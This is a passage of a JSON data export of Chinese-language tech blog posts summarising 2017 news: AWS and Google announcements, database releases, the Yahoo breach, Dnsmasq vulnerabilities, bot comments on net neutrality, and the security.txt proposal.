/></picture>\r\n\r\n加上之後陸續的改善 (尤其是下一版 Firefox 57 的 <a href=\"https://wiki.mozilla.org/Quantum\">Project Quantum</a>)，這幾版應該會拉出不少效能...",
    "title": "最新的 Firefox 56 對 AES-GCM 效能的改善"
  },
  {
    "id": "7601",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 新的擴張計畫：「<a href=\"https://aws.amazon.com/blogs/aws/in-the-works-aws-region-in-the-middle-east/\">In the Works – AWS Region in the Middle East</a>」。\r\n\r\n兩個比較大的階段，第一個是在 2018Q1 先建 PoP，把 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a>、<a href=\"https://aws.amazon.com/route53/\">Route 53</a> 之類的服務先接上去：\r\n\r\n<blockquote>We also plan to open an edge location in the UAE in the first quarter of 2018. This will bring Amazon CloudFront, Amazon Route 53, AWS Shield, and AWS WAF to the region, adding to our existing set of 84 points of presence world-wide.</blockquote>\r\n\r\n再來是 2019 上半年建 region：\r\n\r\n<blockquote>I am happy to announce that we will be opening an AWS Region in the Middle East by early 2019. The new Region will be based in Bahrain, will be comprised of three Availability Zones at launch, and will give AWS customers and partners the ability to run their workloads and store their data in the Middle East.</blockquote>\r\n\r\n這樣就會變成離非洲最近的 region 了... (目前應該是印度？)",
    "title": "AWS 將在阿拉伯聯合大公國擴點"
  },
  {
    "id": "7602",
    "body": "<a href=\"https://www.google.com/\">Google</a> 宣佈了更廣泛開啟 <a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a> 的計畫：「<a href=\"https://security.googleblog.com/2017/09/broadening-hsts-to-secure-more-of-web.html\">Broadening HSTS to secure more of the Web</a>」。\r\n\r\n然後先提到 <code>.foo</code> 與 <code>.dev</code> 的「<a href=\"https://blog.gslin.org/archives/2017/09/19/7563/google-chrome-%E5%B0%87-dev-%E8%A8%AD%E7%82%BA-hsts-preload-%E5%90%8D%E5%96%AE/\">Google Chrome 將 .dev 設為 HSTS Preload 名單</a>」這件事情：\r\n\r\n<blockquote>In 2015 we created the first secure TLD when we added .google to the HSTS preload list, and we are now rolling out HSTS for a larger number of our TLDs, starting with .foo and .dev.</blockquote>\r\n\r\n接下來希望拋磚可以引玉：\r\n\r\n<blockquote>We hope to make some of these secure TLDs available for registration soon, and would like to see TLD-wide HSTS become the security standard for new TLDs.</blockquote>",
    "title": "Google 打算更廣泛的預設使用 HSTS"
  },
  {
    "id": "7603",
    "body": "tl;dr：真的很慢 +_+\r\n\r\n<a href=\"http://www.bmobile.ne.jp/okawari/\">b-mobile おかわり</a> 是先前因為 <a href=\"http://eplus.jp/\">eplus</a> 需要手機簡訊認證而辦的日本門號，想說剛好進日本也可以拿來用...\r\n\r\n可以參考「<a href=\"https://www.ptt.cc/bbs/IdolMaster/M.1502199193.A.FE5.html\">Re: [問題] 日本旅遊有低門檻手機認證的方式嗎</a>」與「<a href=\"http://androidlover.net/mvno/j-com-okawari-sim.html\">b-mobile おかわりSIMの速度実測・レビュー・評価まとめ【9月】</a>」。\r\n\r\n實際跑了 n 次測速，除了深夜與清晨的速度比較快以外，其他時間下載大多都在 1.x Mbps 左右，拿來跑 <a href=\"https://line.me/\">Line</a> (包括 Line 語音) 還可以，刷有圖片的服務就頗慢了... (像是 <a href=\"https://twitter.com/\">Twitter</a> 或是 <a href=\"https://www.facebook.com/\">Facebook</a>)，如果是影音服務的話就很慘了 XDDD\r\n\r\n是剛好可以拿來練習 <a href=\"https://git-scm.com/\">Git</a> 離線作業啦 XDDD 但之後如果要來玩的話，應該還是會辦張吃到飽不限速的 SIM 卡吧...",
    "title": "b-mobile 的おかわり的速度"
  },
  {
    "id": "7605",
    "body": "在 <a href=\"https://github.com/\">GitHub</a> 上「<a href=\"https://github.com/mbeaudru/modern-js-cheatsheet\">mbeaudru/modern-js-cheatsheet</a>」這邊看到的，標題「Cheatsheet for the JavaScript knowledge you will frequently encounter in modern projects.」說明了文章的主題...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TyMZBbX.webp\" /><img src=\"https://i.gslin.com/imgur/TyMZBbX.jpg\" alt=\"\" /></picture>\r\n\r\n大約花了半個小時看完，範例給的都蠻不錯的，讓人容易了解...",
    "title": "現代 JavaScript 常見的特性"
  },
  {
    "id": "7606",
    "body": "<a href=\"https://www.google.com/\">Google</a> 這次出手炸的好痛：「<a href=\"https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html\">Behind the Masq: Yet more DNS, and DHCP, vulnerabilities</a>」。\r\n\r\n當需要在 client 端處理 DNS 的事情，有蠻多開發者都會選擇用 <a href=\"http://www.thekelleys.org.uk/dnsmasq/doc.html\">Dnsmasq</a> 處理，這次直接拉出七個 CVE (編號 CVE-2017-13704 與 CVE-2016-{14491-14496})，其中三個是 RCE：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pMrvtF9.webp\" /><img src=\"https://i.gslin.com/imgur/pMrvtF9.jpg\" alt=\"\" /></picture>\r\n\r\n看了一下，<a href=\"https://www.ubuntu.com/\">Ubuntu</a> 也推出更新了，接下來有一堆機器要升級 Dnsmasq... :o",
    "title": "Dnsmasq 的安全性漏洞"
  },
  {
    "id": "7607",
    "body": "在 <a href=\"https://www.facebook.com/MySQLatFacebook\">MySQL at Facebook</a> 的<a href=\"https://www.facebook.com/MySQLatFacebook/posts/10154971839996696\">這邊說明</a>提到了，<a href=\"https://www.facebook.com/\">Facebook</a> 內部是使用 <code>INT UNSIGNED</code> 儲存時間：\r\n\r\n<blockquote>Which gets us to the point that it is no different than storing INT (hello 2038?) or UNSIGNED INT (a bit later) or BIGINT (till the end of time) and possibly passing binary values in efficient protocols eventually.\r\n\r\nIf you got that far of this post, your likes in Facebook graph are stored with 'INT UNSIGNED' time field.</blockquote>\r\n\r\n順道一提，<code>INT</code> 是 2038 年問題，<code>INT UNSIGNED</code> 是 2106 年問題。\r\n\r\n而 Facebook 在 <a href=\"https://dev.mysql.com/\">MySQL</a> 上會選擇不使用 <code>DATETIME</code> 與 <code>TIMESTAMP</code> 的原因其實跟技術搭不上太多關係，主因是因為 MySQL 根本沒打算修 XDDD\r\n\r\n<blockquote>It is my favorite MySQL bug, simply because it forces any reasonable mind not to use TIMESTAMP, and MySQL is never going to fix it (nor will ever understand time). I lost my temper a bit on that bug: https://bugs.mysql.com/bug.php?id=38455</blockquote>\r\n\r\n我的猜測是已經爛成一團了，而且大家都有 workaround (呃，其實就是 Facebook 推薦用 INT UNSIGNED 的方法)，再考慮到有一票現有程式，在上面狂用 side effect 讓執行結果正確，不如就不要修這種吃力不討好的東西了 XDDD\r\n\r\n另外一方面 timezone 資訊其實常常變化，常常需要更新 MySQL 的 timezone database (而這對於維運來說不是什麼開心的事情)：\r\n\r\n<blockquote>There're few ways around that. One of them is side-load and maintain timezone data inside MySQL itself - it has support for internal timezone database and tracks obscure time shifts like ones for \"Pacific War Time\" and \"Pacific Peace Time\". That is operationally feasible (you have to remind yourself to update the database whenever time rules change, and they do change a lot, if you consider every timezone in the world), but has limited value.</blockquote>\r\n\r\n這就是為什麼大家遇到 MySQL 時都會推薦用 <code>INT UNSIGNED</code> 了...\r\n\r\n另外可以參考三年前的文章「<a href=\"https://blog.gslin.org/archives/2014/01/31/4209/mysql-%E8%A3%A1%E5%84%B2%E5%AD%98%E6%99%82%E9%96%93%E7%9A%84%E6%96%B9%E5%BC%8F/\">MySQL 裡儲存時間的方式...</a>」，裡面引用了 <a href=\"https://en.wikipedia.org/wiki/Baron_Schwartz\">Baron Schwartz</a> 的說明：\r\n\r\n<blockquote>All date and time columns shall be <code>INT UNSIGNED NOT NULL</code>, and shall store a Unix timestamp in UTC.</blockquote>\r\n\r\n其實這已經是個 best practice 了...",
    "title": "Facebook 在 MySQL 裡存時間的型態"
  },
  {
    "id": "7608",
    "body": "<a href=\"https://www.oath.com/\">Oath</a> (Y! 的新東家，<a href=\"https://www.verizon.com/\">Verizon</a> 持股) 發表了新的通報，外洩數量直接上升到 3 billion 了：「<a href=\"https://www.oath.com/press/yahoo-provides-notice-to-additional-users-affected-by-previously/\">Yahoo provides notice to additional users affected by previously disclosed 2013 data theft</a>」。\r\n\r\n也就是當時所有的使用者都受到影響：\r\n\r\n<blockquote>Subsequent to Yahoo's acquisition by Verizon, and during integration, the company recently obtained new intelligence and now believes, following an investigation with the assistance of outside forensic experts, that all Yahoo user accounts were affected by the August 2013 theft.</blockquote>\r\n\r\n在「<a href=\"https://www.theverge.com/2017/10/3/16414306/yahoo-security-data-breach-3-billion-verizon\">Yahoo says all 3 billion user accounts were impacted by 2013 security breach</a>」這邊的報導則是寫的比較清楚，把當時的使用者數字翻出來：\r\n\r\n<blockquote>Yahoo today announced that the huge data breach in August 2013 affected every user on its service — that’s all three billion user accounts and up from the initial one billion figure Yahoo initially reported.</blockquote>\r\n\r\n2013 這包用的是 MD5 hash，以現在的運算能力來看，可以當作沒有 hash...：\r\n\r\n<blockquote>The stolen user account information may have included names, email addresses, telephone numbers, dates of birth, hashed passwords (using MD5) and, in some cases, encrypted or unencrypted security questions and answers.</blockquote>\r\n\r\n已經是 \"all\" 了，接下來要更大包只能是其他主題了...",
    "title": "Yahoo! 的資料外洩數量超過之前公佈的十億筆，上升到三十億筆"
  },
  {
    "id": "7609",
    "body": "在「<a href=\"https://kristerw.blogspot.com/2017/09/useful-gcc-warning-options-not-enabled.html\">Useful GCC warning options not enabled by -Wall -Wextra</a>」這邊提到 <a href=\"https://gcc.gnu.org/\">GCC</a> 如果把這些參數放入 <code>-Wall</code> 與 <code>-Wextra</code> 裡會產生出太多的誤判，但有些參數還是很有用。\r\n\r\n不過這邊介紹的參數蠻多都需要 GCC 6+ 甚至 GCC 7+，翻了 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 16.04 是 GCC 5.4。\r\n\r\n這是文章介紹的參數的整理：\r\n\r\n<pre>-Wduplicated-cond -Wduplicated-branches -Wlogical-op -Wrestrict -Wnull-dereference -Wold-style-cast -Wuseless-cast -Wjump-misses-init -Wdouble-promotion -Wshadow -Wformat=2</pre>\r\n\r\n另外一個比較特別的問題是，其實愈來愈多專案搬到 <a href=\"https://clang.llvm.org/\">clang</a> 上，這幾年可以看出能量的消長蠻明顯的...",
    "title": "GCC 的警告參數"
  },
  {
    "id": "7610",
    "body": "<a href=\"https://www.oracle.com/\">Oracle</a> 的 Dimitri KRAVTCHUK (dim) 做了測試，整理出 <a href=\"https://dev.mysql.com/\">MySQL</a> 8.0-rc 與其他版本效能的比較：「<a href=\"http://dimitrik.free.fr/blog/archives/2017/10/mysql-performance-21m-qps-on-80rc.html\">MySQL Performance : 2.1M QPS on 8.0-rc</a>」。\r\n\r\n不過先不管 MySQL 8.0-rc，這個測試其實也在說 MySQL 在 5.6 到 5.7 的過程中，對於高階伺服器效能改善非常的多 (有非常多 CPU core 的機器)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/837U23R.webp\" /><img src=\"https://i.gslin.com/imgur/837U23R.jpg\" alt=\"\" /></picture>\r\n\r\n就更不用說 5.5 版 (甚至已經沒支援的 5.0 &amp; 5.1)，差距就更大了...",
    "title": "MySQL 8.0-rc 的效能測試"
  },
  {
    "id": "7612",
    "body": "還好用的人應該不會太多 (?)\r\n\r\n微軟宣佈在 <a href=\"https://www.apple.com/ios/\">iOS</a>、<a href=\"https://www.android.com/\">Android</a> 以及微軟自家的系統上都推出 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Edge\">Microsoft Edge</a>：「<a href=\"https://blogs.windows.com/windowsexperience/2017/10/05/announcing-microsoft-edge-for-ios-and-android-microsoft-launcher/\">Announcing Microsoft Edge for iOS and Android, Microsoft Launcher</a>」，另外也很「貼心」的整理了一篇不同平台上的差異 (尤其是 iOS 與 Android)：「<a href=\"https://blogs.windows.com/msedgedev/2017/10/05/microsoft-edge-ios-android-developer/\">Microsoft Edge for iOS and Android: What developers need to know</a>」。\r\n\r\n不過 <a href=\"https://twitter.com/\">Twitter</a> 上微軟自家人 Kyle Pflug‏ 講的比較簡單：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Tl;dr: Microsoft Edge is built on Chromium on Android, WKWebView on iOS, EdgeHTML on Windows. UA string has &quot;EdgiOS&quot; or &quot;EdgA&quot; tokens. <a href=\"https://t.co/dauZNETTdJ\">https://t.co/dauZNETTdJ</a></p>&mdash; Kyle Pflug (@kylealden) <a href=\"https://twitter.com/kylealden/status/915927989501681665?ref_src=twsrc%5Etfw\">October 5, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n把重點講的超清楚，然後順建讓人有種 WTF 的感覺 XDDD (等於是一次推出三個不同行為的 browser 啊！)\r\n\r\n設計師鐵定會詛咒他不要流行起來 XDDD",
    "title": "跨各平台的 Microsoft Edge 又讓搞網站的人爆炸..."
  },
  {
    "id": "7613",
    "body": "<a href=\"https://www.blizzard.com/\">Blizzard</a> 公佈了在十一月的月初將會舉辦星海二的 AI Workshop：「<a href=\"https://us.battle.net/sc2/en/blog/21048078/announcing-the-starcraft-ii-ai-workshop-10-4-2017\">Announcing the StarCraft II AI Workshop</a>」。\r\n\r\n<blockquote>On November 3 and 4, Blizzard and DeepMind will co-host the StarCraft II AI Workshop at the Hilton Anaheim hotel, next to the Anaheim Convention Center.</blockquote>\r\n\r\n官方 (包括 <a href=\"https://deepmind.com/\">DeepMind</a> 團隊) 也會針對 SC2LE (Starcraft II Learning Environment) 與 SC2API (StarCraft II API) 提供交流：\r\n\r\n<blockquote>Engineers and researchers from Blizzard and DeepMind will also be on-hand to meet with attendees and answers questions about the SC2LE and SC2API.</blockquote>\r\n\r\n然後時間會跟 <a href=\"https://blizzcon.com/\">BlizzCon 2017</a> 重疊 (目前看起來是卡到最後兩天)，票是不能通用的：\r\n\r\n<blockquote>While this event takes place during BlizzCon 2017, it is considered a separate event and is not part of the official BlizzCon program – therefore BlizzCon badges will not grant access to the AI workshop. However, we will be providing a limited pool of shareable BlizzCon badges that attendees of the AI workshop can use to check out BlizzCon and catch the StarCraft II Global Finals for inspiration on how to build superior AIs!</blockquote>\r\n\r\n接下來應該會有不少消息出來... DeepMind 團隊的開發進度有可以跟頂尖選手競賽嗎？",
    "title": "星海爭霸 II 官方的 AI Workshop"
  },
  {
    "id": "7614",
    "body": "<a href=\"https://www.postgresql.org/\">PostgreSQL</a> 10 發表，有不少重要的功能 (進步)：「<a href=\"https://www.postgresql.org/about/news/1786/\">PostgreSQL 10 Released</a>」。\r\n\r\n首先提到的是 Logical Replication：\r\n\r\n<blockquote>Logical Replication - A publish/subscribe framework for distributing data</blockquote>\r\n\r\n以往內建的 replication 是 block level change (同步哪個 block 改變的內容)，對於版本不同的 PostgreSQL 就會痛。所以在 10 之前，想要處理 PostgreSQL 版本不同的問題都會使用第三方套件 (一種常見的情境就是資料庫的版本升級)。在 10 內建支援 Logical Replication 後就不需要掛其他套件了：\r\n\r\n<blockquote>Logical replication extends the current replication features of PostgreSQL with the ability to send modifications on a per-database and per-table level to different PostgreSQL databases. Users can now fine-tune the data replicated to various database clusters and will have the ability to perform zero-downtime upgrades to future major PostgreSQL versions.</blockquote>\r\n\r\n於是就可以達到 zero-downtime upgrade，這對於商業維運考量是個很重要的進展。\r\n\r\n另外一個是 Improved Query Parallelism (在 9.6 就有，現在又再改善了)，針對可平行化的 CPU-bounded SQL query 可以利用多 CPU 大幅加速，這點也是目前在 <a href=\"https://dev.mysql.com/\">MySQL</a> 上還沒看到的：\r\n\r\n<blockquote>PostgreSQL 10 provides better support for parallelized queries by allowing more parts of the query execution process to be parallelized. Improvements include additional types of data scans that are parallelized as well as optimizations when the data is recombined, such as pre-sorting. These enhancements allow results to be returned more quickly.</blockquote>\r\n\r\n上面提到這兩點其實對於某些需求是相輔相成的。\r\n\r\n因為很多報表分析是可平行化的 CPU-bounded SQL query，但以前在 RDBMS 都不能被平行運算，於是很多單位就會想要倒出來到其他類型的資料庫運算 (以現在比較紅的產品，像是 <a href=\"https://aws.amazon.com/redshift/\">Amazon Redshift</a>、<a href=\"https://aws.amazon.com/athena/\">Amazon Athena</a>，或是 <a href=\"https://cloud.google.com/bigquery/\">BigQuery</a>，甚至是丟進 ELK 裡)。但你用 PostgreSQL 又會痛在沒辦法很方便的把資料同步拉出來... (於是就會稍微妥協，用 cron job 每天倒資料)\r\n\r\n現在 10 的這兩個功能剛好從兩個面向解決：一個是對於剛開使用 PostgreSQL 的人，他們可以繼續只用 PostgreSQL 撐久一點，因為報表需求的 SQL query 快很多；另外一方面也讓目前用 cron job 每天倒資料的人有了同步的選擇 (用 replication 同步到其他系統上)。\r\n\r\n再來是 Quorum Commit for Synchronous Replication 這個功能，把分散式架構中需要「正確性」的底層技術做起來：\r\n\r\n<blockquote>PostgreSQL 10 introduces quorum commit for synchronous replication, which allows for flexibility in how a primary database receives acknowledgement that changes were successfully written to remote replicas. An administrator can now specify that if any number of replicas has acknowledged that a change to the database has been made, then the data can be considered safely written.</blockquote>\r\n\r\n整體來說，PostgreSQL 10 有非常多進步，而且這些進步對於商業營運考量都很有幫助...",
    "title": "PostgreSQL 10 發表"
  },
  {
    "id": "7615",
    "body": "Okay，所以 <a href=\"https://www.netflix.com/\">Netflix</a> 在美國的價錢漲了：「<a href=\"https://www.nytimes.com/2017/10/05/watching/netflix-subscription-price.html\">Netflix Is Increasing Its Monthly Subscription Cost</a>」。\r\n\r\n基本版不變：\r\n\r\n<blockquote>The basic streaming plan, which only allows for streaming on only one screen at a time, will remain at $7.99 a month.</blockquote>\r\n\r\n雙螢幕版漲 $1 變成 $10.99：\r\n\r\n<blockquote>The company’s most popular plan — which allows customers to stream titles on two devices with a single account — will increase by $1 to $10.99 a month.</blockquote>\r\n\r\n四螢幕版漲 $2 變成 $13.99：\r\n\r\n<blockquote>The premium plan — which allows customers to use the same account for four screens at once — will increase by $2 to $13.99 a month.</blockquote>\r\n\r\n紐約時報的說明是因為自製成本增加，如果是這樣的話，其他地區也應該有可能會找機會漲？\r\n\r\n<blockquote>The price hike arrives as Netflix continues to increase production of original TV and movie content. The company said that by the end of the year it will have spent around $6 billion for original content in 2017. In August, Ted Sarandos, Netflix’s chief content officer, told Variety that the company planned to spend about $7 billion for original programming next year.</blockquote>",
    "title": "Netflix 在美國漲價"
  },
  {
    "id": "7616",
    "body": "<a href=\"https://pypy.org/\">PyPy</a> 5.9 支援 machine learning 常用的 <a href=\"https://pandas.pydata.org/\">Pandas</a> 與 <a href=\"http://www.numpy.org/\">NumPy</a> 了：「<a href=\"https://morepypy.blogspot.com/2017/10/pypy-v59-released-now-supports-pandas.html\">PyPy v5.9 Released, Now Supports Pandas, NumPy</a>」，包括 2.7 與 3.5 的相容版本：\r\n\r\n<blockquote>The PyPy team is proud to release both PyPy3.5 v5.9 (a beta-quality interpreter for Python 3.5 syntax) and PyPy2.7 v5.9 (an interpreter supporting Python 2.7 syntax). </blockquote>\r\n\r\n對於使用 <a href=\"https://www.python.org/\">Python</a> 大量計算的人來說可以進場測試了 XD",
    "title": "PyPy 5.9 支援 Pandas 與 NumPy 了"
  },
  {
    "id": "7617",
    "body": "在 20 年紀念文 (懷舊文) 中 <a href=\"https://en.wikipedia.org/wiki/Rob_Malda\">Rob Malda</a> 提到了 <a href=\"https://slashdot.org/\">Slashdot</a> 名字的由來：「<a href=\"https://medium.com/@cmdrtaco/a-pre-history-of-slashdot-6403341dabae\">A Pre-History of Slashdot</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/9iXkWYB.jpg\" alt=\"\" />\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HdvCdFX.webp\" /><img src=\"https://i.gslin.com/imgur/HdvCdFX.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>I originally used the name ‘slashdot’ on my desktop a year earlier when I got my first static IP in the Voorhees Hall dorm room I shared with Dave. Back in 1996, our floor was the first in all of Hope College to be granted 24/7 high speed internet access.</blockquote>\r\n\r\n宿舍機器的名字 XDDD",
    "title": "Slashdot 名字的由來"
  },
  {
    "id": "7618",
    "body": "<a href=\"https://aws.amazon.com/emr/\">Amazon EMR</a> 從改成以秒計費了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/10/amazon-emr-now-supports-per-second-billing/\">Amazon EMR now supports per-second billing</a>」。\r\n\r\n<blockquote>Amazon EMR is now billed in one-second increments in all AWS Regions. There is a 1 minute minimum charge per instance in your Amazon EMR cluster, and per-second billing is applicable to clusters that are newly launched or already running. The Amazon EC2 instances in your cluster, including On-Demand, Spot, and Reserved instances, and Amazon EBS volumes attached to these instances are billed in per-second increments effective October 2. Pricing is still listed on a per-hour basis, but bills are now calculated down to the second and show times in decimal form. Please visit the Amazon EMR pricing page for more information on per-second billing.</blockquote>\r\n\r\n來看看 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 什麼時候要生效... (不過實際的意義不大)",
    "title": "Amazon EMR 也以秒計費了，回朔切齊 10/2 生效"
  },
  {
    "id": "7619",
    "body": "<a href=\"https://torrentfreak.com/\">TorrentFreak</a> 的標題不夠精確，不過大概可以看出 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 的想法：「<a href=\"https://torrentfreak.com/cloudflare-bans-sites-for-using-cryptocurrency-miners-171004/\">Cloudflare Bans Sites For Using Cryptocurrency Miners</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rNHxqnb.webp\" /><img src=\"https://i.gslin.com/imgur/rNHxqnb.jpg\" alt=\"\" /></picture>\r\n\r\n在沒有告知使用者，以及沒有提供選項關閉的情況下，Cloudflare 認定這是 Malware...",
    "title": "Cloudflare 對 Coinhive 挖礦的態度"
  },
  {
    "id": "7620",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 在「<a href=\"https://www.backblaze.com/blog/400-petabytes-cloud-storage/\">Yes, Backblaze Just Ordered 100 Petabytes of Hard Drives</a>」這篇提到他們這一次買了 100PB 的硬碟，不過這應該還好 XD\r\n\r\n比較有趣的數字是他們目前存了多少資料：\r\n\r\n<img src=\"https://i.gslin.com/imgur/UYudfH6.jpg\" alt=\"\" />\r\n\r\n破 400PB 了... 而且看起來成長速度頗穩定的。\r\n\r\n我也用 <a href=\"https://rclone.org/\">rclone</a> 把自己的資料往上面備份 (先加密再傳上去)，目前連 free tier 都還沒用完 (雖然信用卡卡號掛著)。",
    "title": "Backblaze 的資料量"
  },
  {
    "id": "7621",
    "body": "在 <a href=\"https://onionshare.org/\">OnionShare</a> 官網上的說明是這樣寫：\r\n\r\n<blockquote>OnionShare is an open source tool that lets you securely and anonymously share a file of any size.</blockquote>\r\n\r\nWiki 的說明比較清楚，實際上是在本機開一個 Hidden Service，而使用者必須透過 <a href=\"https://www.torproject.org/projects/torbrowser.html.en\">Tor Browser</a> 這類的服務下載，這樣可以達成提供者與下載者都彼此匿名：\r\n\r\n<blockquote>OnionShare lets you securely and anonymously share files of any size. It works by starting a web server, making it accessible as a Tor onion service, and generating an unguessable URL to access and download the files. It doesn't require setting up a server on the internet somewhere or using a third party filesharing service. You host the file on your own computer and use a Tor onion service to make it temporarily accessible over the internet. The other user just needs to use Tor Browser to download the file from you.</blockquote>\r\n\r\n用法的部份就更清楚了：\r\n\r\n<blockquote>Open OnionShare, drag and drop files and folders you wish to share into it, and click Start Sharing. After a moment, it will show you a .onion URL such as http://asxmi4q6i7pajg2b.onion/egg-cain. This is the secret URL that can be used to download the file you're sharing.</blockquote>\r\n\r\n如果下載者不是那麼在意匿名性的話，<a href=\"https://tor2web.org/\">Tor2web</a> 這類的服務應該也可以用...\r\n\r\n感覺以現在提供的功能來看還是不夠便利，實驗性質居多 XD",
    "title": "OnionShare：透過 Tor 的 Hidden Service 分享檔案"
  },
  {
    "id": "7622",
    "body": "這下知道為什麼美國政府要直接禁用 <a href=\"https://www.kaspersky.com/\">Kaspersky</a> 了：「<a href=\"https://www.wsj.com/articles/russian-hackers-stole-nsa-data-on-u-s-cyber-defense-1507222108\">Russian Hackers Stole NSA Data on U.S. Cyber Defense</a>」。如果看不到 <a href=\"https://www.wsj.com/\">WSJ</a> 的文章，可以看「<a href=\"https://arstechnica.com/information-technology/2017/10/the-cases-for-and-against-claims-kaspersky-helped-steal-secret-nsa-secrets/\">Russia reportedly stole NSA secrets with help of Kaspersky—what we know now</a>」這邊。\r\n\r\n最近的事件被發現與 Kaspersky 的漏洞有關：\r\n\r\n<blockquote>The hackers appear to have targeted the contractor after identifying the files through the contractor’s use of a popular antivirus software made by Russia-based Kaspersky Lab, these people said.</blockquote>\r\n\r\n加上 Kaspersky 有濃厚的俄羅斯官方色彩 (關係良好)，以及法令上與技術上都有可能性要求 Kaspersky 協助。雖然這次事件是合約工家裡電腦用 Kaspersky 造成的，但已經有足夠的風險讓美國政府決定開鍘下令完全禁用了：\r\n\r\n<blockquote>For years, U.S. national security officials have suspected that Kaspersky Lab, founded by a computer scientist who was trained at a KGB-sponsored technical school, is a proxy of the Russian government, which under Russian law can compel the company’s assistance in intercepting communications as they move through Russian computer networks.</blockquote>",
    "title": "俄羅斯政府透過卡巴斯基的漏洞，偷取美國國安局的文件"
  },
  {
    "id": "7623",
    "body": "這次 <a href=\"https://www.apple.com/ios/ios-11/\">iOS 11</a> 的無線網路與藍芽需要到 Settings (設定) 裡面才能有效關掉的設計，讓 <a href=\"https://www.eff.org/\">EFF</a> 不爽寫了一篇文章：「<a href=\"https://www.eff.org/deeplinks/2017/10/ios-11s-misleading-ish-setting-bluetooth-and-wi-fi-bad-user-security\">iOS 11’s Misleading “Off-ish” Setting for Bluetooth and Wi-Fi is Bad for User Security</a>」。\r\n\r\n<blockquote>On an iPhone, users might instinctively swipe up to open Control Center and toggle Wi-Fi and Bluetooth off from the quick settings. Each icon switches from blue to gray, leading a user to reasonably believe they have been turned off—in other words, fully disabled. In iOS 10, that was true. However, in iOS 11, <a href=\"https://support.apple.com/en-us/HT208086\">the same setting change no longer actually turns Wi-Fi or Bluetooth  “off.”</a></blockquote>\r\n\r\n不過藍芽的洞真的不少，儘量避免吧... +_+",
    "title": "iOS 11 的無線網路與藍芽關假的讓 EFF 不爽..."
  },
  {
    "id": "7624",
    "body": "<a href=\"https://boingboing.net/\">Boing Boing</a> 的立場其實還蠻鮮明的，所以有時候他們的新聞看看就好...\r\n\r\n但這篇真的很有趣，把 <a href=\"https://www.fcc.gov/\">FCC</a> (美國的聯邦通信委員會) 上兩千兩百萬則對網路中立性的留言拿出來分析，結果發現真人與機器人的差異超明顯 XDDD：「<a href=\"https://boingboing.net/2017/10/04/astroturf-by-comcast.html\">Analysis of 22 million FCC comments show that humans love Net Neutrality and bots really, really hate it</a>」，引用的文章在「<a href=\"https://www.gravwell.io/blog/discovering-truth-through-lies-on-the-internet-fcc-comments-analyzed\">Discovering truth through lies on the internet - FCC comments analyzed</a>」這邊。\r\n\r\n分析可以發現，真人偏好網路中立，而機器人反對網路中立 XDDD：(其實大家心裡都有底是怎麼玩出來的... 只是這次有機會分析，讓事情更明顯)\r\n\r\n<blockquote>Data analysis company Gravwell ingested 22,000,000 comments sent to the FCC's docket on Net Neutrality and posted their preliminary findings, which are that the majority of comments came from bots, and these bots oppose Net Neutrality; of the comments that appear to originate with humans, the vast majority favor Net Neutrality.</blockquote>\r\n\r\n文章中列出幾個有趣的現象，像是機器人的 comment 大量重複：\r\n\r\n<blockquote>A very small minority of comments are unique -- only 17.4% of the 22,152,276 total. The highest occurrence of a single comment was over 1 million.</blockquote>\r\n\r\n甚至是 <code>pornhub.com</code> 的郵件位置 XDDD：\r\n\r\n<blockquote>Most comments were submitted in bulk and many come in batches with obviously incorrect information -- over 1,000,000 comments in July claimed to have a pornhub.com email address</blockquote>\r\n\r\n然後機器人的 pattern 也很容易辨別：\r\n\r\n<blockquote>Bot herders can be observed launching the bots -- there are submissions from people living in the state of \"{STATE}\" that happen minutes before a large number of comment submissions</blockquote>\r\n\r\n這個有點類似「<a href=\"https://en.wikipedia.org/wiki/50_Cent_Party\">50 Cent Party</a> (<a href=\"https://zh.wikipedia.org/wiki/五毛黨\">五毛黨</a>)」，但是是自動化機器人，而且產出的「品質」不太好 XDDD",
    "title": "分析 FCC 對網路中立性的留言，將鄉民與機器人分開來分析"
  },
  {
    "id": "7625",
    "body": "最近開始有人在討論「<a href=\"https://securitytxt.org/\">security.txt</a>」這個標準了，可以在「<a href=\"https://tools.ietf.org/html/draft-foudil-securitytxt-00\">A Method for Web Security Policies</a>」這邊看到 draft。\r\n\r\n想法其實類似於 <code>robots.txt</code>：\r\n\r\n<pre># Our security address\r\nContact: security@example.com\r\n\r\n# Our PGP key\r\nEncryption: https://example.com/pgp-key.txt\r\n\r\n# Our disclosure policy\r\nDisclosure: Full</pre>\r\n\r\n以往的方式是透過 WHOIS 或是 DNS 的 SOA 欄位來聯絡，或是直接寄到 <code>security@domain</code>，現在這個架構就多了一套方法，是好是壞不曉得...",
    "title": "security.txt"
  },
  {
    "id": "7626",
